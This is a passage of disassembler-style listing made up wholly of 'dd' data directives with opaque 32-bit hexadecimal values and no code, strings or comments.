1101614Ch dd 0B88E27E9h, 0C84ACF48h, 85686BC0h, 900D966Ah, 0D0D49F84h dd 49C5E9F0h, 30090F58h, 0A207A139h, 1691C3EEh, 0EF7F0987h dd 0BE31A4BFh, 5A5168A0h, 2AF2E1E1h, 5F330609h, 1C9BD514h dd 74B52D96h, 1F89CCD0h, 3E09993Ah, 0C01ADEA7h, 0D30CFD76h dd 1EE28D44h, 0F00E1308h, 4E1FA898h, 0CBA87D4Fh, 592ABF06h dd 830CBE6Bh, 184C6424h, 71D812EEh, 91F2FA3Eh, 0C862A45Eh dd 85F32F4Ah, 88949B13h, 0BA796661h, 53767174h, 124BBB1Eh dd 1377AB1h, 9FC20A87h, 1B01EB21h, 8B5DAAE9h, 0E55AF4E3h dd 0E68809A1h, 70E92FA3h, 3B05E94Eh, 0F4BC634Ah, 8D09FB96h dd 0B5056E58h, 5FC2E71Eh, 0F2378DE9h, 0E83041B6h, 0FBB56444h dd 4B763D38h, 6F36A7BDh, 686EC907h, 0E48CEE13h, 0E43AF388h dd 7040C01Dh, 3C1014BFh, 0C7028196h, 0E43827B4h, 3B136775h dd 0CD5EED01h, 7001F851h, 0E15F69CAh, 640729EFh, 3F5BA191h dd 0BFDD7DCCh, 64F527Eh, 0E5971DFh, 0FB3C67C5h, 60060C78h dd 0E96F7F09h, 5A21F7D2h, 28535BDEh, 0A79C0F2Fh, 84D7E5AAh dd 29A1D9F8h, 3E163591h, 42C938E1h, 62DEAAA7h, 448124BEh dd 18FA2A04h, 6271669Ch, 875F0AA1h, 0D2CF165h, 0E621440Bh dd 0B8D620EFh, 168FBA0Ah, 0D305B06Ah, 9080565Ah, 4BE02364h dd 724AAC25h, 0BC3EC414h, 9AC824CDh, 0B1516683h, 0AE0FC932h dd 0FE291289h, 0CCA021C8h, 0FCBB14C0h, 4A77D842h, 0E690EF43h dd 0EC504F9Ah, 39E02FE9h, 412DD8F2h, 6C391846h, 49924C6Fh dd 0BB77510h, 303F1168h, 74236BFh, 0EA831BDDh, 514A60FFh dd 0F14DAB9h, 7977D73h, 7A75BF74h, 2CE8E454h, 8F3525Bh dd 622F7D15h, 510A7E9Ah, 0BA882A5Ah, 2129404Ah, 4926F977h dd 93A58193h, 0AA6244D5h, 5AD02F21h, 0B58BC5DEh, 46C4DFB4h dd 4B0DC949h, 0DA91DCA2h, 8340665Ah, 9F4F8298h, 57E181EDh dd 0BCAF0479h, 13151C6Ch, 0C9193C21h, 6A882B58h, 57E23712h dd 7BD72189h, 0A03012E8h, 80B55C26h, 2E2283C6h, 6544900Ah dd 0C9EE8759h, 62986192h, 0D601029Eh, 0F6FB55E9h, 7B486276h dd 7BFD6E6Ah, 18DF2724h, 825D392Eh, 0F13F7440h, 1FBE60Ah dd 0F31324D5h, 3FF8BBC4h, 3C39EF4Eh, 4BB7FD83h, 0FC93E730h dd 10E9080Bh, 5B25937h, 3406C368h, 9EF78396h, 665BA903h dd 3C06E7C1h, 0F7130709h, 0CF3B04DFh, 1D0E82BBh, 705F814Ah dd 487B00CEh, 55E163Fh, 40FE67BFh, 7F4A8A90h, 50FDFDD0h dd 0DE6863AFh, 0E9B27EFBh, 94FDC04Ah, 4A21BC76h, 652108E4h dd 5DC83C93h, 379684h, 0D96B6EBBh, 0CB048151h, 329D5299h dd 1284EDAEh, 0F5FA78B4h, 4F7E22CAh, 0E9B86CABh, 0C870C12Eh dd 2D26CC4h, 0AFCAF705h, 5792B651h, 9CF9E3FAh, 2656D81Fh dd 82CA2D06h, 0FC882544h, 447416A2h, 983F81EDh, 0B591525Ch dd 7D1CB753h, 73639180h, 48D1CC9Fh, 0F14B6455h, 0F3D87F9Bh dd 8E4000EEh, 0E9F1313Bh, 77C992D5h, 848C65C2h, 0AC276B68h dd 4A08C05Dh, 62BD7660h, 0DD310B0Ch, 0CE976C4Eh, 5CF140E9h dd 47096814h, 0B58FD255h, 65986809h, 6A5ED146h, 25CB91C5h dd 1A21610h, 7D20BBB8h, 5A60966Fh, 885EA82Ah, 4CFAE4C7h dd 825B625Bh, 18FD509Dh, 12C46822h, 0EE7F4C13h, 0F22FC1F5h dd 75F0F104h, 1A605A02h, 0B9163961h, 90BE2177h, 7D9C68F6h dd 20B2A49Dh, 0D2DE6BF9h, 0FED25362h, 0B23F9A29h, 1DE80777h dd 0C5945476h, 21D0CBC4h, 27D6BFh, 0F7814DDCh, 1E4447BEh dd 0B9056A90h, 150C837h, 0A847D0EEh, 0D8D757AFh, 901413EBh dd 495D43E9h, 10BF2F4Eh, 56040858h, 0FE50FFE9h, 0B46E4989h dd 6405473h, 249A2468h, 7DF0C21Bh, 0E951AC98h, 5B208A59h dd 68FA36AAh, 302439E4h, 0C18B37Ch, 312EBA36h, 0CB7A381Dh dd 1D0225Fh, 1C447D36h, 95E3C701h, 0F8C0081Bh, 5F2851A1h dd 0F540EE0Ch, 0F26B6F16h, 931C2AE9h, 40230F94h, 37456863h dd 47C5924Ch, 0A0D7786Ah, 26A9BB51h, 6271B5C0h, 0F4803827h dd 0BD6BB7E2h, 0D9FF34F2h, 0A5F3E011h, 4D4D99E9h, 26F829DEh dd 6791923Eh, 8DC5DAB8h, 0E7D8EADCh, 7569390Dh, 40C9BDDBh dd 47F05D08h, 0D6547F4Ch, 0DE1E317h, 0D2A4566Dh, 47F75516h dd 0B0C8ADDBh, 0D8AAFC41h dd 0DF69F43h, 0EC603151h, 51BC25DBh, 0CF84EA65h, 9E6457B9h dd 516CB0B2h, 0E4201AB0h, 9B63A0A5h, 37C20109h, 19F80540h dd 0A3D283F2h, 0D038206Eh, 4AACD0A9h, 4CCCB857h, 0F80804B8h dd 0E5AF84BCh, 0E6B305A6h, 7ED5D383h, 8E044384h, 29BB52E4h dd 21BC08B0h, 19E4304Eh, 45FC09C3h, 5578CDF7h, 12A60509h dd 1B480262h, 22E127A3h, 0CD5E3251h, 42246902h, 7FE3DD7Fh dd 0A942FE9Dh, 9A0A19E9h, 0F9F97D94h, 1CD64427h, 6DFF50C5h dd 0A246F6B2h, 0A6AF734h, 1F74CBFDh, 4D251005h, 7B3A75E3h dd 22BF09D0h, 0F0B44AB9h, 0CAA34A8Eh, 98ACA4F8h, 0E9121DB8h dd 0F4FA79A9h, 0C2B5B903h, 0C24A761Fh, 0E3FC134Bh, 41ECE9D0h dd 0D6533008h, 2643BBBCh, 0BA4C0377h, 3A1B4DCBh, 3BB246D1h dd 66011990h, 79B30E53h, 5BC9DC30h, 46A43CFCh, 10EB8005h dd 0AFC8B84h, 8227A34Fh, 0E4913FE9h, 0F59D0FC4h, 2F668743h dd 0C3631731h, 0EC4BD49Ah, 0C8AE5EC4h, 5BC7030Ch, 11D5C821h dd 872D47B8h, 0FA473BDDh, 5594AB78h, 9258D67h, 770189CFh dd 0CA0D14CEh, 0F9F6B4E9h, 6A724DDh, 1165F602h, 3882075Eh dd 0E3B22A45h, 1794E91Bh, 0FC6D417Ah, 6A35AE43h, 0C85C89E8h dd 22DE3898h, 0BAF645FAh, 3CB5FEB2h, 58D5C9B3h, 245E73DDh dd 0ADB32627h, 0A30914F8h, 756B73D2h, 0AABB5AC0h, 209F082h dd 0F372AE2Dh, 40C25547h, 0D9221644h, 2329A07Fh, 0E2A19C10h dd 4D7D829h, 0B5F3AD63h, 0FC4D4E05h, 8874BE6Eh, 0DB00C19h dd 0C03F3BC0h, 252F081Dh, 294A74F6h, 0C0464D9h, 0EC491ACCh dd 0A4BE5B17h, 2113D14Ch, 3EEC634Fh, 20B9371Eh, 0EAE927h dd 8ECE2D26h, 0C55EC12Eh, 68EF8958h, 75C1B2FAh, 0AFF89C6Ah dd 0D9B15730h, 3EDD7AF1h, 0CFA626D0h, 0DB801418h, 2B203081h dd 37FD3B22h, 0FA7E4A02h, 0B8D709C8h, 955AF5A3h, 6082FFFh dd 0F17D61D3h, 0A7D8E41h, 8915BC6Ah, 0D04E60EDh, 96F1EFEEh dd 91E73F94h, 5D3FC71Ch, 0CF47DD41h, 646420CFh, 0A2A4AA5Ah dd 206C107h, 76667DE9h, 600A00F9h, 0AEB876E7h, 38562C4Dh dd 0C9C6169Eh, 71D301E7h, 0A7017B11h, 5455DEEAh, 5892E9C4h dd 0BED2677Eh, 0D0D7C1E3h, 0C7685262h, 99F3625Fh, 4FEB1C50h dd 4B5DA7F5h, 0F0ECFB1Ch, 908DF80Bh, 96855BFh, 35A63AFAh dd 556B24D4h, 8F229A60h, 55A80A02h, 754B5D5Bh, 2BC9C1E8h dd 1B228FAh, 0C41E6102h, 70E1E939h, 72BE0408h, 0C226FA7Bh dd 0C5618D86h, 82B02A58h, 0EC147B2Dh, 0EA014E43h, 3894928h dd 0E95B385Ah, 1341411Ah, 96E36014h, 5CAF649Ch, 3B2A0304h dd 0FEF237A3h, 215910E8h, 39F2D84Fh, 3ABBD1D2h, 536800A5h dd 62849C40h, 14227D7Bh, 4C022FDh, 0C44471F7h, 746A81F7h dd 2FB606C9h, 2C7949E2h, 7567F103h, 0F431E22Ah, 66C581ADh dd 2F0B6D70h, 5A20BECh, 880BC5D6h, 60D8E7h, 0FE90B652h dd 4E6C0C6h, 8AF68007h, 0C5EEF430h, 0D7BB44C3h, 50585896h dd 0F64D0CB0h, 0C4A66D8h, 28F82C07h, 4B4F04F0h, 2887575Ah dd 67A23FD0h, 8DD52D34h, 60980681h, 0BEB23AB3h, 0E939D3E0h dd 0B6EEE295h, 0A7435F29h, 2C59E880h, 0F8580570h, 0A044101Fh dd 66254063h, 0F2EAAB2Ch, 5D3E5B19h, 4A2CB73Fh, 4B0108C3h dd 6AF644B9h, 9EB7077Dh, 38F8F373h, 4E84580Eh, 985B7768h dd 65123CC1h, 4C007F0Ah, 0F0822EF1h, 0E9DE0931h, 20CC1230h dd 7DE762B7h, 376AB379h, 53B11C96h, 54B0F728h, 320B106Dh dd 84DDF75Dh, 0BE3428F2h, 8F826B44h, 0CBDE27EFh, 5A083355h dd 0F8A9532Dh, 5238C419h, 0FBF38100h, 0C47BE2BAh, 1686A035h dd 0CCEFF1EBh, 361C3B7Dh, 8C7C5F55h, 0B30BBCE9h, 2B7909C9h dd 930018F8h, 339B4FB8h, 0A1C6E91Ch, 5316D72Dh, 5EB6EFFEh dd 5567D725h, 0E9E6FD25h, 0A76DFB30h, 5C323AEDh, 9524B4E3h dd 29F5AFA2h, 12B99673h, 926833E9h, 4ADD05F4h, 4457714h dd 8AB4D5A5h, 0A1BB5302h, 5727C251h, 0E6617562h, 2C9C4001h dd 0FFB0EB4Ch, 0C7D1DB28h, 0DF076631h, 0B41702C4h, 5E3A92CAh dd 5CF280F7h, 9D56D852h, 0D460EA42h, 0A0B7736Dh, 707A8D09h dd 5A095855h, 0A5B73526h, 0E9D8B87Eh, 0BBC75E73h, 0D1299561h dd 1E7884F5h, 0FB2C4B56h, 1DBC1093h, 25828A05h, 84342D6Ah dd 73A83581h, 50AA29CCh, 1B95B800h, 900D72EDh, 320A2575h dd 52F44BE4h, 762B1813h, 0DD9D80BBh, 0B125C1E6h, 641BA089h dd 0EC52235Eh, 48FA09CEh, 907D02C2h, 2D38D3CAh, 0B3C66BF1h dd 5A1CE0BDh, 0BD0801E9h, 620D933Dh, 0F6FD3B29h, 0B909FE25h dd 1854B9F4h, 0C85559C8h, 612F3B46h, 4F655006h, 54158851h dd 440E0D97h, 42669D3Eh, 80001AC0h, 4D208AC2h, 0E3019DD3h dd 71E9F330h, 55229A4h, 1091AB4h, 3CDBE801h, 97B5745h dd 4EE22F83h, 67DDA86Ah, 0DD77B80Bh, 4A7E4C4Ch, 0AF16BA0Ah dd 23EC796Eh, 0E047550Ah, 2FC201A6h, 8213D941h, 0DF9C1E0Ch dd 2061D61Ch, 0E47414EEh, 5515E344h, 0E82508BDh, 38249C7Bh dd 117F2819h, 0C23DBC7Dh, 72560FFEh, 0A81CEA01h, 15A2B508h dd 6E4926BDh, 99C0FEC1h, 8BEEACE2h, 0E7B2084Ah, 0BF5400DEh dd 0B3C9E97Dh, 0EDD1DAC3h, 0CE3CC145h, 9BEC442Ah, 96A9AA79h dd 0A7A908B1h, 27DEFE22h, 0A03E227Bh, 2D5F02D8h, 407056DBh dd 5058185h, 0E08DE907h, 8B976643h, 4CB702ADh, 0A0C75D53h dd 0AF0BE420h, 0FC5CAC1Ch, 6EC70264h, 4D42CB5h, 9521782h dd 0A05561D0h, 3D6D8AD4h, 30FECD01h, 0EECFD71Ah, 0A83F18DEh dd 0D5F126C9h, 8D7B5DC9h, 8897DCCBh, 5E1DE540h, 6A8A698Bh dd 8F47B19h, 280B53C8h, 0BD8C05F3h, 48835082h, 8249542Ah dd 81B98A5Fh, 1432A80Bh, 7DF0B544h, 0A562FB9Eh, 0ABC62037h dd 35FDC0Ah, 84029FDh, 6850095Dh, 30DF5A48h, 5B34E95Ch dd 4B1AF2E4h, 39301CF1h, 6C26B59Eh, 85A0607h, 1431EFBCh dd 0A502C76Dh, 44915593h, 54AA5250h, 0A2966C77h, 2F0BD70Dh dd 9C5403FEh, 3B0802D4h, 0E55D6CB9h, 4E7A8857h, 0EA2F682Fh dd 325D956Dh, 6A9A39D7h, 53285128h, 493431FDh, 32489A19h dd 383707F1h, 8DEF2399h, 37613B66h, 0B55EDDDCh, 46E23EFCh dd 62697C43h, 0A97612C6h, 77597F61h, 0A37A5AC9h, 966A610Fh dd 67280655h, 2707032Ch, 6D424562h, 627871D7h, 3AC1B0F7h dd 0DF816B6Ch, 0D2043862h, 0D360DC02h, 7CE6BE3Bh, 31466113h dd 4AAF016h, 194BF054h, 1170066Eh, 40707507h, 3F168F65h dd 0AF010CBCh, 32E931CAh, 5C691A00h, 0BD3BCF98h, 21AF9CC6h dd 0FFE9EB44h, 0B64E17EBh, 4081481Bh, 637A9984h, 0F7105F66h dd 0F9890B0Fh, 204143E9h, 8C01D425h, 0C2273F7Ah, 5A627C19h dd 0AC64D204h, 5923C5B7h, 38B044FBh, 94E8BEE0h, 4A4A6F85h dd 0A8DDF1CAh, 12A45545h, 6B2054DDh, 3A5F8155h, 0C922CBAh dd 6398E392h, 68AE0507h, 85C52D4Ch, 0EC468CA0h, 5E7895F9h dd 4CA8FB1h, 5E760D89h, 0E107651Fh, 90E96C94h, 66027FB0h dd 0FE9374Ah, 4FBAF76Dh, 9B53A84h, 133F7428h, 4BB0F8B1h dd 0E90932CAh, 0C4EEB08Bh, 4B75AF6h, 80AB297Ah, 92569DFCh dd 0F15E2427h, 17781655h, 1AFB85Eh, 895FE488h, 0FA69FB31h dd 3487DB10h, 11FE9255h, 0BAD64131h, 8EA9C617h, 9618D8B1h dd 0ADCDE221h, 61C18D40h, 662858D7h, 726BE91Ah, 0DAFC5C55h dd 66118BFDh, 8ED0102h, 1566471h, 82CA0FDh, 9088E95Ch dd 48F0078Fh, 0EDB20D67h dd 8B5FF45Dh, 2E665449h, 0D178899Dh, 0E1FB641Ah, 0D5A82F0Fh dd 582F6EB6h, 8E1F513Ah, 0B856B3FAh, 0C2EE4BEDh, 6340E010h dd 0BF80A860h, 0CC0201C6h, 11E78118h, 2007D537h, 0E9124FF4h dd 81EC1C63h, 7D4933C3h, 6EE581E8h, 485F5816h, 1F4E95F4h dd 8140E84Dh, 47179DCDh, 64864073h, 0BB0EE5A7h, 6A5DE929h dd 6213B4CEh, 0D2C89A34h, 485E41B2h, 0CC3168EBh, 0BF08FD12h dd 7B1CF72Eh, 0A03CFC27h, 2260A3BBh, 18564834h, 171E4710h dd 0FFFC6FEh, 4A65C221h, 0CDD8D13Eh, 7BE23F0Bh, 2D2C829h dd 51A905E0h, 278C1440h, 0E97B8704h, 0BFFD9DA6h, 3C452304h dd 0F8F2DC7Ah, 0F728DA40h, 19E5B221h, 0BD12072Fh, 6588804Eh dd 6C627768h, 0F7719431h, 2AF31046h, 0E54050AEh, 81D7232Ch dd 0A4753CBAh, 0C70F2B7Dh, 34BBB268h, 0EA8CC1EAh, 0FFBF0228h dd 647FE7EAh, 9AE79840h, 3B681BF2h, 29D27F21h, 1251C71h dd 0E1455241h, 42005D0h, 2971C509h, 5317C4F0h, 0D2D01008h dd 17873417h, 0B508C41Fh, 0CD9FE4A4h, 0BC47DCB5h, 44791013h dd 0CC7FD38Eh, 52FC57A9h, 0F1E8F15Dh, 0EC23363Ch, 0BD85329h dd 0EC77FE8Dh, 24EE8282h, 9CAF8999h, 0DD00B907h, 0B8535F6Eh dd 5AE4D77Eh, 780DF4D9h, 762500B6h, 0D709C933h, 0E9A44AF8h dd 0BF985C9Fh, 18FFBCADh, 261B7D9Bh, 146D1E34h, 3A18DF03h dd 5FFA3F8Eh, 0F2818394h, 2DCE66F8h, 7E02129Eh, 0E1284B05h dd 5FC4829Eh, 68E2D100h, 0BD7E4820h, 2B107DD0h, 1C680CA6h dd 0BF1DF93Ch, 90E178Ah, 98592701h, 1306808Eh, 58EB9CEBh dd 68851C99h, 1A8C2111h, 0CDBF255h, 5D5B4964h, 9B1629FCh dd 0A312A4B6h, 0BF382E4h, 843BEAAAh, 0B37C60FFh, 0BB1CC0C1h dd 2B7A0EC2h, 1ABA5200h, 0E9635E70h, 0F470B2E8h, 5CA3F6C0h dd 62F8727h, 0D4772362h, 9593741Ah, 5FD56804h, 0F81B68BFh dd 77B1C5B2h, 29E1E713h, 1C56CB7Fh, 5D278A05h, 9790806Ch dd 630A6A2Eh, 5E1CEF96h, 0F33293C2h, 8034E317h, 97ECB99Bh dd 945F2E89h, 0B1497DBh, 10DC5E48h, 881D52B0h, 0DEAD79CCh dd 0E3C2D9E3h, 3974428Bh, 0C9C08619h, 0FBD6464h, 4981723Dh dd 98F6E56Bh, 3701F61Ch, 6C12683Bh, 0CAC5B429h, 4B1D8A60h dd 0FABB64EBh, 630B4765h, 0B28F028h, 6AB668ACh, 7E35B877h dd 0D9588184h, 5C0CAF4Eh, 2E8971DDh, 977E361h, 58A20768h dd 95D46EFFh, 7E51747Eh, 0E892667Ch, 4C282A3Fh, 4CD38839h dd 0A62D7D53h, 0E177F619h, 381674E9h, 0F79680B6h, 0E4C631D0h dd 5608C9F0h, 938E45DDh, 0D20117E9h, 0F37D70A4h, 536D310Eh dd 0EA27B54h, 0CFDCBBA5h, 0D2615CB9h, 0DF053BD4h, 0D8633568h dd 654964E5h, 9BA84FE6h, 6C018371h, 0F6013B3Ch, 0FEF4DE89h dd 0BB8DC006h, 0A21156Eh, 0B1684B3Dh, 0AACD7144h, 0CE8AC05h dd 0C400867h, 330A13E8h, 9F55017Fh, 823C4D15h, 0FB1D3E18h dd 27D9F606h, 946365F1h, 0EE5302A6h, 64D17025h, 0C6A661FDh dd 0F45F0842h, 6CEC0769h, 8D0C08ADh, 5AE99E61h, 5E77091Eh dd 0DF23B0F5h, 5818C1FCh, 8B51C768h, 4907C6C3h, 956C5A68h dd 4D9582A4h, 2827E00Eh, 135866C3h, 0AFE3EB80h, 0B41F76E6h dd 27F44292h, 0E077C4FEh, 0EADAE4EFh, 42E6F9D4h, 621C7782h dd 39BDDB2Ch, 0F867056Fh, 0B62928BAh, 0C1B96F4Fh, 0A8141CC5h dd 7F2D89B0h, 16A2CA48h, 277967BFh, 7E43017Ch, 21681641h dd 97F1E2D1h, 96685380h, 9E8D9112h, 6624956h, 0A1069C46h dd 593EE533h, 52042434h, 654E00A9h, 2D58619Ah, 0D3904F73h dd 75D33507h, 18A547A0h, 1E9C413h, 98D6A05Ah, 5D5A6761h dd 0C03FF109h, 0E327311Ah, 0A820397Fh, 0E80118AAh, 17468A52h dd 5E757401h, 943DE94Eh, 0E2429836h, 0BF54C912h, 0BF02E5E6h dd 0DA2464Fh, 661E7040h, 29730109h, 0F7BC00DFh, 5C79524Bh dd 0B65EA802h, 9FCD2693h, 0F23F31A6h, 5013DCBDh, 0F34B685Dh dd 0F08488A9h, 0F2800245h, 0F048551Fh, 0DA0B8688h, 7A14F653h dd 5354E13h, 81665EEDh, 0AF281A30h, 13355EA0h, 8B008797h dd 0D2B5BAD8h, 0B25797ADh, 6DC47D98h, 0BF408A20h, 0E958C45Eh dd 14B7BAEFh, 0E02C383h, 0BE27FC4h, 0AC32615Bh, 8021076Fh dd 1E2CA2F5h, 76204778h, 48FB077h, 0D91C4FBBh, 0C1C5F059h dd 2D03E801h, 0FCEAF276h, 0C755B06Fh, 81A18458h, 0ED54CD18h dd 59C0C07Fh, 5D4CE809h, 0FC2D1EAAh, 0C3EC2ED8h, 0E3490E57h dd 0C2B6E972h, 40D75B24h, 8774FB4h, 0DA291B2Eh, 0B09D0820h dd 0B5D50159h, 507104D4h, 0B262BB2Fh, 26957EACh, 9CD5271Dh dd 0B9510062h, 450310ABh, 0AF62F181h, 5BCB010Dh, 35B10832h dd 6F79C582h, 93E07F48h, 0BE2D2571h, 80BCE59Eh, 1A551945h dd 0DD4B61E9h, 0C1C4ECB8h, 669CBF52h, 35544013h, 813B2E09h dd 88B4C571h, 0EE813FBFh, 0D2BDA977h, 0CCF4F0F9h, 45A796BCh dd 0E1298257h, 0E4BB5904h, 4EF22D7Ch, 0E384062Fh, 2DBEE513h dd 50B166BFh, 7C5E1110h, 367C97CAh, 128FE7B8h, 1C570207h dd 0F6855E23h, 87A20712h, 4C01BED9h, 34099FDDh, 7D212AA7h dd 2E1E5C0Dh, 0E807601h, 0A87A2282h, 0D5E68B02h, 4557619Ah dd 0E95C6041h, 0FF4E5AF7h, 0A7499EAh, 134E484Fh, 617974h dd 0EC2F538Ah, 0B4BBA41Eh, 314ED7ACh, 0B2C6DFE8h, 0BE0632DEh dd 26465B96h, 90B0ED0h, 0C1C0CC30h, 4AF859D0h, 55F12903h dd 7E41E9h, 46B3E3C1h, 4683267h, 0A3CC424Fh, 30CE58ABh dd 6BEDE8B1h, 50E1F258h, 0CDD2A154h, 7268B550h, 16269312h dd 0B9F0F0FDh, 0DA10C30Fh, 7C24B272h, 6612FB04h, 768811Dh dd 59458250h, 31B47E9Eh, 77B9164Dh, 30EEB88Ah, 112E0E51h dd 2821514Bh, 955E4730h, 65EA4520h, 0D59501D2h, 3ACA9F83h dd 833FCF81h, 2E252150h, 0EA610257h, 0C12FA551h, 535B9370h dd 0E95820BFh, 7CBFAD4Fh, 44F56B9Bh, 0F6E9195Eh, 3ABF2099h dd 494FF2EDh, 3BE85F2Fh, 0D782CA82h, 46270C4Fh, 0D9B42CFDh dd 0AA3C1462h, 885152C0h, 0CBE653E1h, 2FC570EBh, 0AF8C94Ah dd 74E0BEC0h, 0E2B76143h, 0A8C6FDB7h, 0D3C95B0h, 0D12F8B09h dd 6A8B05E6h, 490B93F6h, 805741F2h, 7670B23h, 7E0EC24Bh dd 8C5EA013h, 2CD39A31h, 80EC4770h, 45133BB9h, 0D1C0D92h dd 5ABA402Dh, 0D4169F59h, 0C31638C1h, 0D730016Ch, 6208A2BFh dd 9BE25838h, 0A2D39D58h, 78D9F82Ah, 67FC504Bh, 4A8B7DADh dd 81B190AAh, 7E1665E5h, 9E95031h, 9EF5B02h, 0CECB25E9h dd 0B7B9DFF3h, 93EC6B56h, 44D117C9h, 0D30EB04Ah, 0A6BA1268h dd 201794BEh, 0C13831BAh, 813CCBCEh, 3684EE91h, 0EC6B02A4h dd 0E180990Bh, 2DEB8000h, 73F4F3E0h, 79727752h, 395D04Dh dd 0F95494B9h, 0DBB4D1C0h, 9FE8E36Ah, 2AF90D8Bh, 0A6020ADDh dd 0C1655422h, 8A20BDCFh, 0DE293FDBh, 1DF54CF3h, 0C6044722h dd 73159F8h, 8419C2C0h, 0BC1C5FD8h, 37A99F99h, 0F2C0D24Fh dd 2DC0CEB4h, 970102E4h, 2AFC20ADh, 0F21904FDh, 2E97287Ah dd 0AC7D5DFEh, 1B2EF5h, 4A0A0387h, 1A090558h, 9A717F76h dd 0F41E4234h, 1284E2A9h, 0D8038009h, 4406F18h, 0DC922B35h dd 6540AE8Fh, 883899EAh, 416A955Dh, 6AFD080Bh, 60754119h dd 4984EF04h, 0AF1CFC0h, 4A317EC3h, 52328756h, 0F5493BE2h dd 0EBF43EEEh, 1C67B933h, 266C42C1h, 0E5752930h, 0D76885B8h dd 0D359EC4Ah, 5BE05DBBh, 0B0D35BB5h, 98470B3Dh, 0E0971DCFh dd 7E2D0002h, 5704614h dd 0A830EF36h, 0BCE9E667h, 0DDE69766h, 95B68E30h, 2DAC22EBh dd 0BE0CB134h, 1617D312h, 298041D6h, 0C14F2815h, 1DE95148h dd 2BD03F8Fh, 4916E0EEh, 0A2002442h, 2D4952E6h, 83243306h dd 0F0286670h, 88349516h, 8BE7BA00h, 97762E1Eh, 0FCBF0BF7h dd 5E5D00ADh, 8FE90F54h, 0B7F26C5Eh, 6FF2891Fh, 0F13CB4E0h dd 1C32E9E4h, 57BDBCA1h, 8B4B64AFh, 0FD094AE0h, 6205F78h dd 215D26ECh, 0A9CB0894h, 59EF8800h, 0B966F830h, 2277CBDEh dd 0F7B4AFCEh, 7D0E8D31h, 3AD841E5h, 50B05DFDh, 68045357h dd 7823255h, 5F7EFDABh, 719661FFh, 5D5001F1h, 6E9D997Eh dd 65488CF7h, 0F94CAD05h, 90CC1713h, 0F37CE977h, 249B659Dh dd 374C8920h, 79A13DFh, 0E4ED538h, 3FA2E210h, 0A0B5CE5Fh dd 91E6F87h, 0D50141A6h, 5E5AE785h, 5C880B13h, 40162CE8h dd 8CDFC82h, 838F110Ah, 0FA294662h, 1F10D31Bh, 80BEC9ADh dd 0AD912304h, 3EEB0297h, 0E057DF46h, 95037128h, 40099B45h dd 2083C6A1h, 5F3FE613h, 5EBECCD1h, 74BFBDC5h, 94D7F2C7h dd 8247100Eh, 4214AC58h, 277D1D4Ch, 6CA07535h, 3B046E92h dd 164A94C8h, 149FD89h, 7D6C5752h, 3971C701h, 5AD70811h dd 0AAD76429h, 4C689C42h, 63B67644h, 0E3264580h, 0C08555F3h dd 0A4F007EBh, 0FB1A73E3h, 622030CDh, 243B60FAh, 7B121DBAh dd 40BD3401h, 312C974Fh, 0E6BFD641h, 0E57EB87Eh, 0D339F3FBh dd 0A3BB6552h, 0D3BDA542h, 0EA1BF785h, 4AE98A2Ch, 0B92F0090h dd 2FF84503h, 3F9EEAF4h, 29045804h, 27289EC3h, 167F31A1h dd 0E3CF2A9Fh, 5AD028D2h, 0E7DB90BAh, 4A5264F4h, 0A22CAC79h dd 2A0D69F3h, 0E40CA16Fh, 1C7D28E6h, 25C63AC2h, 78825F3Ch dd 0B80F05A6h, 254716F0h, 0A5A25729h, 0DD2B5952h, 0BC7CE2A9h dd 2E297AF2h, 0A88182B5h, 72BF3776h, 4EA24EC0h, 9EF907BDh dd 28674888h, 384D1C94h, 0D6290933h, 0DE1C864Ch, 3D2ABF57h dd 0E878BE09h, 69480062h, 900AAC19h, 8267B063h, 1F68F708h dd 3A978F45h, 89D41A43h, 0B4B45ED9h, 0C053AF86h, 0BBDE5D0Ch dd 9F1217CAh, 84EE06Ah, 324EC9FCh, 4C805297h, 9549572Ah dd 6F6FEF69h, 0F6FE6712h, 3AC9174Fh, 935A8D2Ch, 6561242h dd 9F528ACDh, 0F4A5EE2Dh, 95D62505h, 1ACB531Fh, 0AD235C7Dh dd 5D0BA3D6h, 92D9F64Fh, 0C06DACB2h, 0B55109B6h, 0ED802684h dd 70A70B19h, 0B9804ED9h, 30A247B7h, 17AC0BB8h, 49D56F3Bh dd 0E46A58A0h, 50131B68h, 43B45F99h, 283C996Dh, 0C88F20BFh dd 0CA7F5870h, 0ED854329h, 8F7C4A02h, 90507727h, 0F597087Bh dd 0E0282698h, 0DAF74B12h, 6CAB1A04h, 0F0215B02h, 0ACB647F7h dd 6A5A4274h, 30716C75h, 0C01051D0h, 7C107EAh, 80CF280h dd 982E4CFAh, 8570E12Dh, 1D6AE780h, 72EB5D86h, 0FFD13306h dd 3071DF49h, 0A62B388Ah, 3761E961h, 0CF4DD17Eh, 87FB0466h dd 0EAE5E408h, 17BA3613h, 5AC9CB81h, 0A5B410C5h, 0CA6D5BE0h dd 94E9846Dh, 3158B891h, 0BA85942Bh, 0B55DF12Ch, 0AA3195CCh dd 0F681395Bh, 0F52D3A8Bh, 0AA6EE384h, 0ACD780A2h, 86BAB5F1h dd 0B80B30CBh, 56432894h, 0D911A4Fh, 5A151FFh, 0D18D68E9h dd 9006EBC5h, 317C38BCh, 2D0B64E4h, 376C2F72h, 0E5A4957Dh dd 2998BBE3h, 0EB0A1318h, 0F314AA7Ch, 85FC059Eh, 56E83AC2h dd 2E2CAA4Bh, 0AE9185Bh, 43B27F44h, 0B1DCCB7h, 1A8516EBh dd 0E9173CE0h, 0CDE57A3Eh, 36F54E9Bh, 2CD69BEFh, 0EB375498h dd 18D7BBC6h, 1E441AFh, 2B0FE9DDh, 5406500h, 9DA81Ch, 0CC254866h dd 0D70626Ch, 54717BE8h, 99E9521Eh, 480448B1h, 907892DDh dd 662DAD03h, 579F2A41h, 6C7D00F4h, 551D801h, 68FA2F07h dd 0BD31E914h, 43B34AA7h, 32AD6DDh, 389ABFD4h, 0E78147B0h dd 51168607h, 116CD17Dh, 4DCA0464h, 0ED5276E9h, 0F15BC971h dd 3D06891Dh, 0F54947F4h, 635EAE49h, 0D689C47Ch, 673D38EFh dd 0D23B6F41h, 8DF8C013h, 0C426577Eh, 46C40D5Fh, 0B85E3EB8h dd 5E90592Bh, 0E61AFAF6h, 0F3403FB1h, 667B381Ch, 0EF65E32Fh dd 4EE82823h, 9480A53Ah, 0A0F60932h, 9C158C68h, 53736E06h dd 1A16BC01h, 750C354Bh, 37E9B1BBh, 0B21AA655h, 0CF34F15Bh dd 0BC5A1C96h, 80B1B067h, 59CB0728h, 7023B652h, 0B45088F6h dd 0A2E93012h, 84FF1856h, 0CACEEF2Eh, 5301E346h, 5B506852h dd 0EBC645D2h, 65EC3C17h, 71DC0E75h, 